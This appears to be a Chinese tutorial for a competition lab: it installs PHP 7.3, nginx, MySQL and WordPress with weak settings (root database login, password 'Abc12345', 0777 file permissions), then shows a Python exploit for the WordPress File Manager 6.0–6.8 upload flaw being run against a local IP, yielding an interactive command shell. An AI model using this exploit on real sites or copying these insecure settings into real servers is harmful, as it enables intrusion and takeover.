本文最后更新于 2025年3月6日 晚上
1 2 sudo apt install software-properties-common -y sudo add-apt-repository ppa:ondrej/php -y
在执行 sudo add-apt-repository ppa:ondrej/php 时,系统可能会提示你按回车键继续,按照提示操作即可。添加完成后,更新软件包列表:
1 2 3 4 5 6 sudo apt install php7.3 php7.3-fpm php7.3-mysql php7.3-cli php7.3-common php7.3-json php7.3-readline php7.3-mbstring php7.3-xml php7.3-gd php7.3-curl -y vi /etc/php/7.3/fpm/php.ini 修改: upload_max_filesize = 2M upload_max_filesize = 20M post_max_size = 8M post_max_size = 25M sudo system ctl restart php7.3-fpm
1 2 3 sudo apt install unzip -ysudo apt install nginx -ysudo apt install mysql-server -y
1 sudo vi /etc/nginx/conf .d/wordpress.conf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 server { listen 80 ; listen [::]:80 ; root /usr/share/nginx/wordpress/; index index.php index.html index.htm index.nginx-debian.html; location / { try_files $uri $uri / /index.php; } location ~ ^/wp-json/ { rewrite ^/wp-json/(.*?)$ /?rest_route=/$1 last ; } location ~* /wp-sitemap.*\.xml { try_files $uri $uri / /index.php$is_args $args ; } error_page 404 /404 .html; error_page 500 502 503 504 /50x.html; client_max_body_size 20M ; location = /50x.html { root /usr/share/nginx/html; } location ~ \.php$ { fastcgi_pass unix:/run/php/php7.3-fpm.sock; fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name ; include fastcgi_params; include snippets/fastcgi-php.conf; fastcgi_buffers 1024 4k ; fastcgi_buffer_size 128k ; add_header X-Content-Type-Options nosniff; add_header X-XSS-Protection "1; mode=block" ; add_header X-Permitted-Cross-Domain-Policies none ; add_header X-Frame-Options "SAMEORIGIN" ; } gzip on ; gzip_vary on ; gzip_min_length 1000 ; gzip_comp_level 5 ; gzip_types application/json text/css application/x-javascript application/javascript image/svg+xml; gzip_proxied any; location ~* \.(jpg|jpeg|gif|png|webp|svg|woff|woff2|ttf|css|js|ico|xml)$ { access_log off ; log_not_found off ; expires 360d ; } }
1 2 3 4 sudo vi /etc/ nginx/nginx.conf 注释;include /etc/ nginx/modules-enabled/ *.conf;include /etc/ nginx/sites-enabled/ *;
创库
1 2 3 4 5 6 7 8 9 sudo mysql -uroot -p 创建数据库wordpresscreate DATABASE wordpress; FLUSH PRIVILEGES ;ALTER USER 'root' @'localhost' IDENTIFIED WITH mysql_native_password BY 'Abc12345' ; FLUSH PRIVILEGES ;EXIT ;
wordpress672.zip解压到/usr/share/nginx/
1 2 3 unzip wordpress672.zip -d /usr/ share/nginx/ cp /usr/ share/nginx/ wordpress/wp-config-sample.php /u sr/share/ nginx/wordpress/ wp-config.php vi /usr/ share/nginx/ wordpress/wp-config.php
1 2 3 4 5 6 7 8 9 10 11 12 13 修改define ( 'DB_NAME' , 'wordpress' );define ( 'DB_USER' , 'root' );define ( 'DB_PASSWORD' , 'Abc12345' ); 末尾加上define ("FS_METHOD" , "direct" );define ("FS_CHMOD_DIR" , 0777 );define ("FS_CHMOD_FILE" , 0777 );
1 2 sudo chown -R www-data:www-data /usr/share/nginx/wordpresssudo chmod -R 755 /usr/share/nginx/wordpress
1 2 3 4 5 在终端用命令:python ‘文件地址’ -u http: 例子:python C:\Users\lenovo\Desktop\省赛\1. py -u http:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 C:\Users\lenovo>python C:\Users\lenovo\Desktop\省赛\1.py -u http://192.168.45.10 __ _ _ / _(_) | ___ _ __ ___ __ _ _ __ __ _ __ _ ___ _ __ | |_ | | |/ _ \ | '_ ` _ \ / _` | '_ \ / _` |/ _` |/ _ \ '__ | | _ | | | __/ | | | | | | (_ | | | | | (_ | | (_ | | __/ | |_ | |_ |_ |\___ | |_ | |_ | |_ |\__,_ |_ | |_ |\__,_ |\__, |\___ |_ | |___/ by: Timeline Sec file manager 6.0-6.8 file upload [+] File Uploaded Success 请输入执行的命令 (输入 'q' 退出): 可以输入 id ls pwd